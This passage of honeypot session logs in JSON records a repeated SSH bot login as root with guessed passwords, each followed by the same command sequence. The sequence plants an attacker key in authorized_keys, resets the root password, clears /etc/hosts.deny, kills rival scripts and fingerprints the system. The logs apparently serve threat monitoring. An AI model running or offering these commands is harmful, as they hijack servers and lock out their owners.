0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:28:50.639746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:28:51.309169+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:28:51.855218+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:28:52.261050+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:28:52.814993+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:28:53.194899+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:28:53.751909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:28:55.135254+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:28:55.685479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:28:56.946872+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Kumar@123","method":"password","accepted":true,"tier":"other"}]} {"id":"4218c19a-437a-497c-96ad-c76533e859b1","name":"lawful-sturdy-serval","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":45024,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:23:07.545343+00:00","ended_at":"2026-08-26T17:23:08.968897+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:22:45.208940+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:22:45.732197+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:22:50.943336+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:22:51.301465+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:22:51.849523+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2roi3jY8Zi6F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:22:52.376762+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:22:52.899692+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:22:53.259733+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:22:53.783164+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:22:55.126163+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:22:55.654059+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:22:56.930454+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:22:57.460816+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:22:58.026958+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:22:58.553928+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:22:58.856586+00:00","kind":"output","latency_ms":null,"data":" 17:22:58 up 6 days, 14:13, 0 user, load average: 0.33, 0.39, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:22:59.378851+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:23:00.022274+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:23:00.545603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:23:01.220192+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:23:01.751800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:23:02.079096+00:00","kind":"output","latency_ms":null,"data":"top - 17:23:02 up 6 days, 14:13, 0 user, load average: 0.33, 0.39, 0.26\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:23:02.606651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:23:03.178320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:23:03.699578+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:23:04.477774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:23:05.007079+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:23:05.625830+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:23:06.149668+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:23:07.023011+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:23:07.546241+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:23:08.802118+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Asd12345@","method":"password","accepted":true,"tier":"other"}]} {"id":"2092c945-ba1d-4b8d-91c9-6ad647fcdf48","name":"faded-jolly-redshank","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":44208,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":539,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:20:13.004124+00:00","ended_at":"2026-08-26T17:20:14.511849+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:19:49.706300+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:19:50.231612+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:19:55.866211+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:19:56.441106+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:19:56.980769+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YWDfdJwKikQ3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:19:57.512883+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:19:58.046048+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:19:58.862661+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:19:59.402042+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:20:00.389821+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:20:00.922903+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:20:01.742243+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:20:02.284299+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:20:03.170917+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:20:03.708945+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:20:04.589133+00:00","kind":"output","latency_ms":null,"data":" 17:20:04 up 6 days, 14:10, 0 user, load average: 0.35, 0.26, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:20:05.129058+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:20:05.630732+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:20:06.172469+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:20:06.471057+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:20:07.005727+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:20:07.691024+00:00","kind":"output","latency_ms":null,"data":"top - 17:20:07 up 6 days, 14:10, 0 user, load average: 0.35, 0.26, 0.24\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:20:08.234101+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:20:09.016855+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:20:09.566410+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:20:09.881455+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:20:10.416149+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:20:10.740159+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:20:11.277107+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:20:12.464204+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:20:13.004856+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:20:14.346061+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test1","method":"password","accepted":true,"tier":"other"}]} {"id":"44c50a88-9dbd-49f3-b57a-76d64fdc0a5d","name":"genial-mighty-cormorant","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":50650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:17:22.479193+00:00","ended_at":"2026-08-26T17:17:23.573581+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T17:16:59.563767+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:17:00.109150+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:17:05.206527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:17:05.480832+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:17:06.028574+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XEHUb9s6KTZW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:17:06.583530+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:17:07.137232+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:17:07.563929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:17:08.110830+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:17:09.518866+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:17:10.073190+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:17:11.461929+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:17:12.013900+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:17:12.384958+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:17:12.938716+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:17:13.374095+00:00","kind":"output","latency_ms":null,"data":" 17:17:13 up 6 days, 14:07, 0 user, load average: 0.16, 0.18, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:17:13.929276+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:17:14.412300+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:17:14.965899+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:17:15.703502+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:17:16.249967+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:17:17.064858+00:00","kind":"output","latency_ms":null,"data":"top - 17:17:17 up 6 days, 14:07, 0 user, load average: 0.16, 0.18, 0.1\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:17:17.624923+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:17:17.899183+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:17:18.448417+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:17:18.978772+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:17:19.534429+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:17:20.201955+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:17:20.750833+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:17:21.934058+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:17:22.480350+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:17:23.404513+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"$RFVcde3","method":"password","accepted":true,"tier":"other"}]} {"id":"67ee518b-6e71-49b1-afcc-a116e782369c","name":"brazen-wry-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":37428,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":527,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:14:22.643635+00:00","ended_at":"2026-08-26T17:14:23.689337+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T17:14:00.314050+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T17:14:00.839723+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T17:14:05.664273+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T17:14:06.129249+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T17:14:06.673069+00:00","kind":"input","latency_ms":null,"data":"echo \"root:TX3ayxAUVpqV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T17:14:07.194413+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T17:14:07.715569+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T17:14:08.426384+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T17:14:08.948690+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T17:14:09.913334+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T17:14:10.435761+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T17:14:11.550118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T17:14:12.082171+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T17:14:12.498483+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T17:14:13.027705+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T17:14:13.347199+00:00","kind":"output","latency_ms":null,"data":" 17:14:13 up 6 days, 14:04, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T17:14:13.877524+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T17:14:14.722332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T17:14:15.246807+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T17:14:15.732814+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T17:14:16.263276+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T17:14:16.925750+00:00","kind":"output","latency_ms":null,"data":"top - 17:14:16 up 6 days, 14:04, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T17:14:17.459573+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T17:14:18.043192+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T17:14:18.562582+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T17:14:19.289383+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T17:14:19.809379+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T17:14:20.199874+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T17:14:20.723633+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T17:14:22.117391+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T17:14:22.644486+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T17:14:23.532266+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"debian12","method":"password","accepted":true,"tier":"other"}]} {"id":"29b3df17-c552-48fc-bff5-8d8f330f9603","name":"stoic-creaky-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":43112,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T17:08:26.813864+00:00","ended_at":"2026-08-26T17:08:28.398127+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T17:08:04.848060+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 